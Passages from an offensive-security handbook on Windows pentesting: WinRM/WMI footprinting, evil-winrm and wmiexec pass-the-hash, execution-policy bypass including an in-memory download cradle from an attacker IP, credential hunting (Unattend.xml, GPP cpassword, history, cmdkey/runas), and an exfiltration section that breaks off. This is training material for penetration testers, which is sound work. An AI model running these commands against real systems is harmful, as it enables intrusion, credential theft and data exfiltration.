**Protocol:** TCP · **Ports:** 5985 (HTTP) · 5986 (HTTPS)
***
## What Is WinRM?
**Windows Remote Management (WinRM)** is Windows' built-in, command-line-based remote management protocol. It uses **SOAP** (Simple Object Access Protocol) to connect to remote hosts and their applications. From Windows 10 onward it must be **explicitly enabled and configured** — it's not on by default on workstations.
WinRM communicates over **TCP 5985 (HTTP)** and **5986 (HTTPS)**. In practice you'll often see only HTTP (5985) in use rather than the encrypted 5986.
A companion component is **WinRS (Windows Remote Shell)**, which executes arbitrary commands on the remote system. It's included by default as far back as Windows 7.
The account you use needs to be in the **Remote Management Users** group (or be an administrator) to connect.
***
## Footprinting the Service
### Nmap
Scan the two WinRM ports. Seeing 5985 open (and 5986 often closed) is the common case:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -p5985,5986 10.129.14.128
```
```
PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp closed wsmans
```
### Test-WsMan — Check Reachability from Windows
From a Windows host, the `Test-WsMan` cmdlet confirms whether a remote server is reachable via WinRM:
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Test-WsMan 10.129.14.128
```
```
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 10.0.17763 SP: 0.0 Stack: 3.0
```
A response like this means WinRM is up and answering.
### evil-winrm — Connect from Linux
On Linux, `evil-winrm` is the go-to tool for interacting with WinRM. With valid credentials it drops you into a clean PowerShell session:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
evil-winrm -i 10.129.14.128 -u admin -p Password123
```
```
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\admin\Documents>
```
`evil-winrm` also supports **pass-the-hash** (`-H `), so a recovered hash works just as well as a password — no cracking required. It has built-in helpers for uploading files and loading scripts, making it the natural first stop once you've found admin or Remote Management Users credentials.
***
## Quick Reference
| Command | Purpose |
| ---------------------------------------- | ------------------------------- |
| `nmap -sV -p5985,5986 ` | Detect WinRM (HTTP/HTTPS) |
| `Test-WsMan ` | Check reachability from Windows |
| `evil-winrm -i -u -p ` | Connect from Linux |
| `evil-winrm -i -u -H ` | Connect via pass-the-hash |
**The footprinting flow:** nmap for 5985/5986 → confirm with Test-WsMan → connect with evil-winrm using found credentials or a recovered hash.
***
*Next: [WMI](/tech/services/wmi) — Windows Management Instrumentation and remote command execution.*
# Wmi
Source: https://hackbook.dudji.com/tech/services/wmi
# WMI
> WMI is the master control interface for Windows — read and write access to almost every setting on the system. For an attacker with credentials, that translates directly into remote command execution, and tools like `wmiexec.py` turn it into a shell.
**Protocol:** TCP · **Port:** 135 (then a random high port)
***
## What Is WMI?
**Windows Management Instrumentation (WMI)** is Microsoft's implementation and extension of the **Common Information Model (CIM)** — the core of the standardized **WBEM** (Web-Based Enterprise Management) framework, adapted for Windows.
WMI provides **read and write access to almost every setting** on a Windows system. That makes it the single most critical interface for administering and remotely maintaining Windows machines, whether PCs or servers — and exactly why it's so valuable to an attacker.
It's typically accessed through **PowerShell**, **VBScript**, or the **WMIC** console. WMI isn't one program — it's a collection of programs and databases (repositories) working together.
***
## Footprinting the Service
WMI communication always **initializes on TCP port 135**, then moves to a randomly assigned high port once the connection is established. That two-stage behavior is the tell when you see it in a scan.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -p135 10.129.14.128
```
```
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
```
### wmiexec.py — Remote Command Execution
Impacket's `wmiexec.py` uses WMI to execute commands on a remote host with valid credentials, giving you a semi-interactive shell:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
wmiexec.py admin:Password123@10.129.14.128
```
```
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
C:\>whoami
inlanefreight\admin
```
`wmiexec.py` runs each command as a new process via WMI rather than holding an open session, which makes it **stealthier than PsExec** — it doesn't create a service on the target. It also supports pass-the-hash (`-hashes :`), so a recovered hash works in place of a password.
***
## Quick Reference
| Command | Purpose |
| -------------------------------------- | --------------------------- |
| `nmap -sV -p135 ` | Detect the WMI/RPC endpoint |
| `wmiexec.py user:pass@` | Remote command execution |
| `wmiexec.py -hashes : user@` | Execute via pass-the-hash |
**The footprinting flow:** nmap for port 135 → execute commands remotely with wmiexec.py using found credentials or a recovered hash. Remember WMI moves to a random high port after the initial 135 handshake.
***
*This concludes the Services chapter. Each protocol page stands on its own — when you see a port open, jump straight to its page for the footprinting flow.*
# Architecture filesystem
Source: https://hackbook.dudji.com/tech/windows/architecture-filesystem
## The Mindset
The Windows file system isn't just trivia — it's a map. As a pentester you care about:
* **Where can I write?** — `C:\ProgramData`, `C:\Temp`, user `AppData` — writable spots for payloads and hijacks
* **Where do credentials hide?** — `AppData`, registry hives, config files
* **Where does the OS keep its core files?** — `System32`, `WinSxS` — for DLL hijacking and binary replacement
***
## The Root Directory
In Windows the root directory is a drive letter, usually `C:\` (the boot partition where the OS is installed). Other drives get other letters — `D:`, `E:`, and so on.
The key directories on the boot partition:
| Directory | What's There | Pentest Relevance |
| --------------------- | ------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
| `Program Files` | 64-bit programs (on 64-bit systems) | Third-party software — check for weak permissions |
| `Program Files (x86)` | 32-bit programs on 64-bit Windows | Same — often older, less-maintained apps |
| `ProgramData` | Hidden folder for app data, accessible by all users regardless of who's running the program | **Frequently writable — prime spot for payloads and script hijacks** |
| `Users` | User profiles, plus `Public` and `Default` | Hunt here for credentials, SSH keys, history |
| `Users\Public` | Shared folder accessible to all users | Writable drop location |
| `Windows` | The bulk of the OS files | DLL hijacking, binary replacement targets |
| `Windows\System32` | Core DLLs and the Windows API | Searched automatically when a program loads a DLL without a full path |
| `Windows\SysWOW64` | 32-bit DLLs on 64-bit Windows | Same DLL-search relevance |
| `Windows\WinSxS` | The Component Store — copies of all components, updates, service packs | Version artifacts |
| `PerfLogs` | Performance logs, empty by default | Occasionally a writable drop spot |
`C:\ProgramData` is the Windows equivalent of Linux's `/tmp` for an attacker —
it's hidden, accessible by every user, and frequently has loose permissions.
The scheduled-task script in the enumeration example lived here for exactly
this reason.
### AppData — Where User Secrets Live
Each user profile has a hidden `AppData` folder with three subfolders:
| Subfolder | Contains | Pentest Relevance |
| ---------- | ------------------------------------------------------------ | ------------------------------------------------ |
| `Roaming` | Machine-independent data that follows the user's profile | Credentials, tokens, app configs, browser data |
| `Local` | Machine-specific data, never synced across the network | Browser databases, cached credentials, app state |
| `LocalLow` | Like Local but lower integrity (e.g. browser protected mode) | Sandboxed app data |
`AppData` is where applications stash saved passwords, session tokens, and config files — always worth digging through during pillaging.
***
## File Systems
Windows supports several file systems. Three are relevant today: FAT32, exFAT, and NTFS. NTFS is the one that matters most for pentesting because it carries the permission model.
| File System | Key Traits | Pentest Relevance |
| ----------- | ---------------------------------------------------------------------------- | ---------------------------------------- |
| **FAT32** | Old, max 4GB file size, no permissions, no encryption | Removable media — no ACLs to worry about |
| **exFAT** | Modern FAT replacement, no size limit, still no permissions | Removable media |
| **NTFS** | Default since Windows NT. Granular permissions, journaling, large partitions | **The permission model you'll attack** |
**Why NTFS matters to you:**
* It enforces granular file and folder permissions (the ACLs you analyze with `icacls`)
* It has journaling — file additions, modifications, and deletions are logged
* Permissions inherit from parent folders by default, which is exactly how the writable-script misconfigs happen (a loose permission high up gets inherited all the way down)
NTFS permissions are covered in depth on the [Permissions & icacls](/tech/windows/permissions-icacls) page.
***
## Exploring the File System — Command Line
### `dir` — List Directory Contents
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# List everything including hidden and system files
dir c:\ /a
# Hidden files only
dir c:\ /a:h
# Recursive search for a filename across the drive
dir c:\ /s /b filename.txt
# Search for a file pattern recursively
dir c:\*.kdbx /s /b
```
The `/a` flag shows hidden and system entries you'd otherwise miss — including things like `$Recycle.Bin`, `pagefile.sys`, and hidden config folders.
### `tree` — Visualize Directory Structure
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Show the folder structure of a directory
tree "c:\Program Files (x86)\VMware"
# Include files, page through one screen at a time
tree c:\ /f | more
```
`tree` is useful for quickly understanding how an application or directory is laid out without clicking through it.
### PowerShell Equivalents
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# List directory (ls / dir / gci are all aliases for Get-ChildItem)
Get-ChildItem C:\Users
# Recursive listing
Get-ChildItem -Path C:\Users -Recurse
# Find files by name across the system
Get-ChildItem -Path C:\ -Recurse -Filter "*.kdbx" -ErrorAction SilentlyContinue
# Show hidden files
Get-ChildItem -Hidden C:\Users\bob
```
***
## Hunting Interesting Locations
A quick tour of where to look once you've got a shell:
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# User profile contents — desktop, documents, downloads
Get-ChildItem C:\Users\*\Desktop\ -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\*\Documents\ -ErrorAction SilentlyContinue
# Writable drop/hijack locations
Get-ChildItem C:\ProgramData -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\Public -Recurse -ErrorAction SilentlyContinue
# AppData — where credentials and tokens hide
Get-ChildItem C:\Users\*\AppData\Roaming -ErrorAction SilentlyContinue
# Recently modified files (post-exploitation activity, fresh configs)
Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue | Sort-Object LastWriteTime -Descending | Select-Object -First 20
```
The `-ErrorAction SilentlyContinue` flag is the PowerShell equivalent of Linux's `2>/dev/null` — it suppresses the access-denied errors that flood your output when recursing through directories you can't fully read.
***
*Next: [NTFS Permissions & icacls](/tech/windows/permissions-icacls) — reading ACLs, spotting writable misconfigurations, and turning them into escalation.*
# Windows Enumeration Checklist
Source: https://hackbook.dudji.com/tech/windows/checklist
Step-by-step checklist for every Windows box — from initial shell to full pillage.
**Phase 1** covers what to do the moment you get a shell. **Phase 2** covers
what to do once you have admin or SYSTEM.
# Command line
Source: https://hackbook.dudji.com/tech/windows/command-line
## The Mindset
On Windows you'll work through one of several interfaces depending on how you got your shell. Each has strengths:
* **CMD** — the classic command prompt. Limited, but present everywhere and great for quick enumeration
* **PowerShell** — the powerful one. Full access to .NET, WMI, and the entire system. This is where serious work happens
* **WMI** — not a shell but an interface into nearly every aspect of the system, queryable from both CMD (`wmic`) and PowerShell
***
## CMD — The Command Prompt
The traditional interpreter. You'll often get a CMD shell first from an exploit, then upgrade to PowerShell.
### Core Commands
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Where am I?
cd
# What's here? (with hidden files)
dir /a
# Who am I and what can I do?
whoami /all
# Network config
ipconfig /all
# Active connections and listening ports
netstat -ano
# Current users
net user
# Local groups
net localgroup
# Members of the Administrators group
net localgroup administrators
# Find text in command output (Windows equivalent of grep)
ipconfig | findstr "IPv4"
netstat -ano | findstr "LISTENING"
```
### `findstr` — The Windows grep
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Case-insensitive search
netstat -ano | findstr /i "listening"
# Search for a pattern in files recursively
findstr /s /i "password" *.txt *.ini *.config
# Search with regex
findstr /r "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" file.txt
```
| Flag | Meaning |
| ---- | ------------------------------------ |
| `/i` | Case-insensitive |
| `/s` | Recurse subdirectories |
| `/r` | Treat search string as a regex |
| `/v` | Invert — show lines that DON'T match |
| `/n` | Show line numbers |
***
## PowerShell — The Real Tool
PowerShell is object-oriented (commands return objects, not just text) and gives you full access to the system. This is where you do credential hunting, enumeration scripts, and most offensive tooling.
### Cmdlet Naming — Verb-Noun
PowerShell commands follow a `Verb-Noun` pattern, which makes them discoverable:
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
Get-Process # retrieve running processes
Get-Service # retrieve services
Get-ChildItem # list directory contents
Set-ExecutionPolicy # change a setting
Stop-Process # terminate a process
```
### Common Aliases
PowerShell aliases many cmdlets to familiar CMD and Linux commands, so muscle memory carries over:
| Alias | Cmdlet | Comes From |
| ------------------ | --------------- | ----------- |
| `ls`, `dir`, `gci` | `Get-ChildItem` | Linux / CMD |
| `cat`, `type` | `Get-Content` | Linux / CMD |
| `cd`, `chdir` | `Set-Location` | Both |
| `cp`, `copy` | `Copy-Item` | Linux / CMD |
| `rm`, `del` | `Remove-Item` | Linux / CMD |
| `ps` | `Get-Process` | Linux |
| `pwd` | `Get-Location` | Linux |
| `echo` | `Write-Output` | Both |
### Discovery — Finding What You Need
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find all cmdlets with "network" in the name
Get-Command *network*
# Find commands by verb
Get-Command -Verb Get
# Get help and examples for a cmdlet
Get-Help Get-Process -Examples
# See all properties and methods of an object
Get-Process | Get-Member
```
`Get-Member` is your best friend in PowerShell. Pipe any object into it to see
every property and method available — that's how you discover what data you
can extract from a command's output.
### Pipeline & Filtering
Because PowerShell passes objects, you filter on properties, not text:
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Filter objects by a property value
Get-Process | Where-Object { $_.CPU -gt 100 }
# Select specific properties
Get-Process | Select-Object Name, Id, CPU
# Sort by a property
Get-Process | Sort-Object CPU -Descending
# Count results
(Get-Process).Count
# Combine — top 5 processes by memory
Get-Process | Sort-Object WS -Descending | Select-Object -First 5 Name, WS
```
***
## Execution Policy
PowerShell's execution policy restricts which scripts can run. It's **not a security boundary** — it's trivial to bypass, and you'll need to when running enumeration scripts.
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check the current policy
Get-ExecutionPolicy
# Restricted = no scripts can run (default on clients)
```
**Bypassing it (several ways, none require admin):**
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Bypass for a single script invocation
powershell -ExecutionPolicy Bypass -File .\script.ps1
# Bypass for the current process only (no admin needed)
Set-ExecutionPolicy Bypass -Scope Process
# Pipe the script into PowerShell (sidesteps policy entirely)
Get-Content .\script.ps1 | powershell -NoProfile -
# Download and run in memory (never touches disk)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1/script.ps1')
```
`IEX (New-Object Net.WebClient).DownloadString(...)` is the classic "download
cradle" — it pulls a script from your machine and runs it directly in memory,
leaving nothing on disk for AV to scan. The modern equivalent uses
`Invoke-RestMethod` (`irm`).
***
## WMI — Windows Management Instrumentation
WMI is an interface to almost every part of the system — hardware, OS, processes, services, installed software. You query it when you need detailed system info, and it's available from both CMD and PowerShell.
### From CMD — `wmic`
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Installed patches (Quick Fix Engineering)
wmic qfe
# Running processes with full command lines
wmic process get name,processid,commandline
# Installed software
wmic product get name,version
# Service details including the binary path
wmic service get name,startname,pathname,startmode
# Local user accounts
wmic useraccount get name,sid
```
`wmic process get ...,commandline` is a credential-hunting goldmine — just
like `ps aux` on Linux, processes often have passwords passed as command-line
arguments, and this shows them.
### From PowerShell — `Get-WmiObject` / `Get-CimInstance`
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# OS version and build
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Version, BuildNumber
# Services with their executable paths
Get-WmiObject -Class Win32_Service | Select-Object Name, StartName, PathName, StartMode
# Processes with command lines
Get-WmiObject -Class Win32_Process | Select-Object Name, ProcessId, CommandLine
# Installed software
Get-WmiObject -Class Win32_Product | Select-Object Name, Version
# Logged-on users
Get-WmiObject -Class Win32_LoggedOnUser
```
`Get-WmiObject` is deprecated in favor of `Get-CimInstance` (same syntax, swap
the cmdlet name). Use `Get-CimInstance` on modern systems, but know
`Get-WmiObject` for older boxes where the newer cmdlet may behave differently.
***
## Quick Reference
### CMD
| Command | Purpose |
| ----------------------------- | ------------------------------- |
| `whoami /all` | Full user/privilege/group dump |
| `ipconfig /all` | Network configuration |
| `netstat -ano` | Connections and listening ports |
| `net user` / `net localgroup` | Users and groups |
| `findstr /s /i "password" *` | Search files for a string |
### PowerShell
| Command | Purpose |
| ------------------------------------------- | ------------------------------ |
| `Get-Command *keyword*` | Discover cmdlets |
| `... \| Get-Member` | Inspect an object's properties |
| `... \| Where-Object {...}` | Filter by property |
| `... \| Select-Object prop` | Pick properties |
| `Get-ExecutionPolicy` | Check script policy |
| `Set-ExecutionPolicy Bypass -Scope Process` | Bypass policy (no admin) |
### WMI
| Command | Purpose |
| ------------------------------------------ | ---------------------------------- |
| `wmic qfe` | Installed patches |
| `wmic process get name,commandline` | Processes + command lines (creds!) |
| `wmic service get name,pathname,startname` | Service binary paths |
| `Get-WmiObject Win32_OperatingSystem` | OS version |
| `Get-CimInstance Win32_Service` | Services (modern) |
***
*Next: [Processes & Services](/tech/windows/processes-services) — finding running processes, abusing service misconfigurations, and dumping credentials from memory.*
# Windows
Source: https://hackbook.dudji.com/tech/windows/index
Windows internals from an offensive security perspective.
Step-by-step enumeration and pillaging checklist for every Windows box.
Who you are, what privileges you hold, and the first commands on every Windows box.
Key directories, writable paths, and the filesystem layout that shapes every attack.
ACLs, icacls, and finding misconfigurations that lead to privilege escalation.
CMD, PowerShell, and the shell techniques you need from first access onward.
Running processes, services, scheduled tasks, and their attack surface.
RDP, WinRM, SMB, and PsExec for moving to and between Windows hosts.
Enumerate and access SMB shares for credentials, configs, and sensitive files.
Persistence keys, credential storage, and config secrets hidden in the registry.
Defender, AppLocker, UAC, and the defenses that shape your approach.
Extract credentials, secrets, and sensitive data once you have access.
# Permissions icacls
Source: https://hackbook.dudji.com/tech/windows/permissions-icacls
## The Mindset
On Windows, permissions are controlled by **ACLs** (Access Control Lists). Every file and folder has one, and it lists exactly which users and groups can do what. Your job as a pentester:
* **Find what you can write to** — especially scripts and binaries that run as a higher-privileged user
* **Find what you can read that you shouldn't** — config files, credential stores
* **Spot inheritance mistakes** — a loose permission set high in the tree gets inherited all the way down
***
## How NTFS Permissions Work
An ACL is made up of **ACEs** (Access Control Entries). Each ACE grants or denies a specific permission to a specific user or group.
The basic permission types, from least to most access:
| Permission | What It Allows |
| ----------------------- | --------------------------------------------------------------- |
| **Read (R)** | View file contents and attributes |
| **Read & Execute (RX)** | Read plus run executables |
| **Write (W)** | Modify file contents and attributes |
| **Modify (M)** | Read, write, execute, and delete the file |
| **Full Control (F)** | Everything, including changing permissions and taking ownership |
For escalation, **Write (W)**, **Modify (M)**, and **Full Control (F)** on a
file that runs as someone else are what you're hunting. If you can modify a
script or binary that SYSTEM or Administrator executes, you control what runs
as SYSTEM or Administrator.
***
## `icacls` — Reading Permissions
`icacls` is the primary command-line tool for viewing and modifying NTFS permissions.
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
icacls "C:\ProgramData\CorpBackup\Scripts"
```
**Example output:**
```
C:\ProgramData\CorpBackup\Scripts BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(M)
CORP\john:(I)(W)
```
Each line is one ACE: a principal (user/group) followed by their permissions in parentheses.
### Permission Codes
| Code | Meaning |
| ---- | -------------- |
| `F` | Full Control |
| `M` | Modify |
| `RX` | Read & Execute |
| `R` | Read only |
| `W` | Write only |
| `D` | Delete |
### Inheritance Codes
These appear in parentheses alongside the permission and tell you *where* the permission comes from:
| Code | Meaning |
| ------ | ----------------------------------------------------------------------------------- |
| `(I)` | Inherited from the parent folder |
| `(OI)` | Object Inherit — applies to files in the folder |
| `(CI)` | Container Inherit — applies to subfolders |
| `(IO)` | Inherit Only — the ACE doesn't apply to the object itself, only what it passes down |
| `(NP)` | No Propagate — inheritance doesn't go beyond one level |
So `BUILTIN\Users:(I)(M)` means the Users group has **Modify** rights, **inherited** from the parent. If your user is in `Users`, you can modify everything in that folder — including any script a privileged task runs from it.
***
## Finding Writable Misconfigurations
This is the core pentest workflow. You're looking for files or folders writable by your user (or a group you're in) that are executed by something more privileged.
### Check a Specific File or Folder
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check the script a scheduled task runs
icacls "C:\ProgramData\CorpBackup\Scripts\backupprep.ps1"
# If you see your user or Users/Everyone with (W), (M), or (F) — you can hijack it
```
### Hunt Writable Files with PowerShell
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check write access to a specific file
Get-Acl "C:\ProgramData\CorpBackup\Scripts\backupprep.ps1" | Format-List
# Recursively find files your user can write to (using accesschk is cleaner — see below)
Get-ChildItem -Path "C:\Program Files" -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
try {
$acl = Get-Acl $_.FullName -ErrorAction Stop
$acl.Access | Where-Object { $_.FileSystemRights -match "Write|Modify|FullControl" -and $_.IdentityReference -match "Users|Everyone|Authenticated" }
} catch {}
}
```
### accesschk (Sysinternals) — The Cleaner Way
`accesschk` from Sysinternals is purpose-built for this and far faster:
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find files writable by the Users group under a path
accesschk.exe -uws "Users" "C:\Program Files"
# Find writable directories
accesschk.exe -uwds "Users" "C:\"
# Check write access for the Everyone group
accesschk.exe -uwqs "Everyone" "C:\*"
```
| Flag | Meaning |
| ---- | ----------------------------------- |
| `-u` | Suppress errors |
| `-w` | Show only objects with write access |
| `-s` | Recurse into subdirectories |
| `-d` | Directories only |
| `-q` | Omit the banner |
Writable **service binaries** and **scheduled-task scripts** are the
highest-value finds. Cross-reference what you find here against the services
and tasks from the [Processes & Services](/tech/windows/processes-services)
page — a writable file means nothing until you know something privileged runs
it.
***
## Modifying Permissions
Once you've escalated (or if you already have the rights), `icacls` also grants and revokes permissions:
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Grant a user Full Control
icacls "C:\path\to\file" /grant john:F
# Grant Modify
icacls "C:\path\to\file" /grant john:M
# Remove a user's permissions
icacls "C:\path\to\file" /remove john
# Take ownership (requires SeTakeOwnership or admin)
takeown /f "C:\path\to\file"
# Reset permissions to inherited defaults
icacls "C:\path\to\file" /reset
```
***
## NTFS vs Share Permissions
When accessing files over the network (SMB), **two** permission layers apply, and the most restrictive one wins:
| Layer | Scope | Applies When |
| --------------------- | ------------------------ | --------------------------------- |
| **NTFS permissions** | Local and network access | Always — controls the file itself |
| **Share permissions** | Network access only | Only when accessed over SMB |
So a folder might grant Everyone Full Control at the share level, but if NTFS only grants Read, you get Read. Conversely, generous NTFS permissions don't help over the network if the share permission is restrictive. This matters when you're enumerating SMB shares — covered on the [SMB & Network Shares](/tech/windows/smb-shares) page.
***
*Next: [Command Line: CMD, PowerShell & WMI](/tech/windows/command-line) — the interfaces you'll work through and how to get the most out of each.*
# Pillaging
Source: https://hackbook.dudji.com/tech/windows/pillaging
## The Mindset
Pillaging is post-exploitation with the goal of extracting value. On Windows you're hunting:
* **Credentials** — saved passwords, hashes, tokens, keys, config secrets
* **Sensitive data** — customer records, financial files, PII (the stuff that proves impact in a report)
* **Infrastructure intel** — domain info, internal hostnames, connection strings for lateral movement
* **Persistence material** — anything that helps you keep or regain access
The difference between enumeration and pillaging is intent. Enumeration maps the system; pillaging strips it.
***
## Start With Automated Enumeration
Before manual hunting, run an automated enumeration script. These find privilege-escalation paths and sensitive files far faster than you can by hand.
### winPEAS
The Windows equivalent of linPEAS — checks for service misconfigs, weak permissions, stored credentials, autostart entries, and dozens of other privesc vectors in one run.
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Run the full check (color-coded; red/yellow = high interest)
winPEASx64.exe
# Quieter, log to a file for review
winPEASx64.exe log
```
### Other Tools
| Tool | Purpose |
| --------------- | -------------------------------------------------------------- |
| **winPEAS** | All-in-one privesc enumeration |
| **PowerUp.ps1** | PowerShell privesc checks — service misconfigs, unquoted paths |
| **SharpUp** | C# port of PowerUp — faster, compiled |
| **Seatbelt** | Host survey — broad data collection |
| **LaZagne** | Recovers stored passwords from 100+ applications |
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# PowerUp — run all privesc checks
. .\PowerUp.ps1
Invoke-AllChecks
```
Run winPEAS first to get the lay of the land, then **manually verify**
anything it flags before exploiting. Automated tools produce false positives,
and on a defended box they're noisy — know that running them may generate
alerts.
***
## Hunting Sensitive Files
This is the core of pillaging — finding the files that contain credentials or prove impact.
### Search by Filename and Extension
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Files with sensitive-sounding names across the C: drive
dir c:\*password* /s /b
dir c:\*secret* /s /b
dir c:\*credential* /s /b
# Common sensitive file types
dir c:\*.kdbx /s /b & rem KeePass databases
dir c:\*.config /s /b & rem app configs (connection strings)
dir c:\*.csv /s /b & rem data exports — customer records, PII
dir c:\*.bak /s /b & rem backups
```
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# PowerShell — find files by multiple extensions
Get-ChildItem -Path C:\ -Include *.kdbx,*.config,*.csv,*.bak,*.xml,*.txt -Recurse -ErrorAction SilentlyContinue
# Find files modified recently (fresh data, active work)
Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue |
Sort-Object LastWriteTime -Descending | Select-Object -First 30 FullName, LastWriteTime
```
### Search File Contents for Credentials
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Search files recursively for credential strings
findstr /s /i /m "password" c:\*.txt c:\*.ini c:\*.config c:\*.xml
findstr /s /i /m "connectionstring" c:\*.config
findstr /s /i /m "pwd=" c:\*.*
```
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# PowerShell — grep file contents recursively
Get-ChildItem -Path C:\ -Include *.config,*.xml,*.ini,*.txt -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "password|pwd|secret|connectionstring|apikey"
```
***
## Where Credentials Hide on Windows
A targeted tour of the highest-value locations:
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Unattended install files — often contain plaintext admin passwords
Get-ChildItem -Path C:\ -Include unattend.xml,sysprep.xml,unattended.xml -Recurse -ErrorAction SilentlyContinue
# also: C:\Windows\Panther\Unattend.xml
# PowerShell history — users paste credentials into commands
Get-Content (Get-PSReadlineOption).HistorySavePath
# default: C:\Users\\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Saved IIS / web.config connection strings
Get-ChildItem -Path C:\inetpub -Include web.config -Recurse -ErrorAction SilentlyContinue | Select-String "connectionString"
# Stored Windows credentials
cmdkey /list
# Group Policy Preferences passwords (cpassword — decryptable)
Get-ChildItem -Path C:\ -Include Groups.xml,Services.xml,ScheduledTasks.xml -Recurse -ErrorAction SilentlyContinue
# Browser-saved data, app configs, tokens
Get-ChildItem C:\Users\*\AppData\Roaming -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\Users\*\AppData\Local -Recurse -ErrorAction SilentlyContinue
```
**The highest-value credential locations:**
| Location | What's There |
| ------------------------------------ | ------------------------------------------------------------------------------- |
| `C:\Windows\Panther\Unattend.xml` | Plaintext admin password from install |
| PowerShell `ConsoleHost_history.txt` | Commands with credentials typed in |
| `web.config` / IIS configs | Database connection strings |
| `cmdkey /list` + runas | Stored credentials usable without knowing the password |
| GPP XML (`cpassword`) | AES-encrypted password with a public key — instantly decryptable |
| SAM/SYSTEM hives | Local password hashes (see [Registry](/tech/windows/registry)) |
| LSASS memory | Live credentials (see [Processes & Services](/tech/windows/processes-services)) |
`cmdkey /list` shows stored credentials you may not know the password for —
but you can often still *use* them with `runas /savecred`, executing commands
as that account without ever seeing the password.
***
## The Exfiltration Endgame
Finding the data is half the job — extracting it and proving impact is the other half. Picture the classic scenario: you've landed on a box, escalated, and found `customer_database.csv` sitting in a shared folder — thousands of customer records with names, emails, and payment details.
### Confirm What You've Found
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Inspect the file — confirm it's real data before exfiltrating
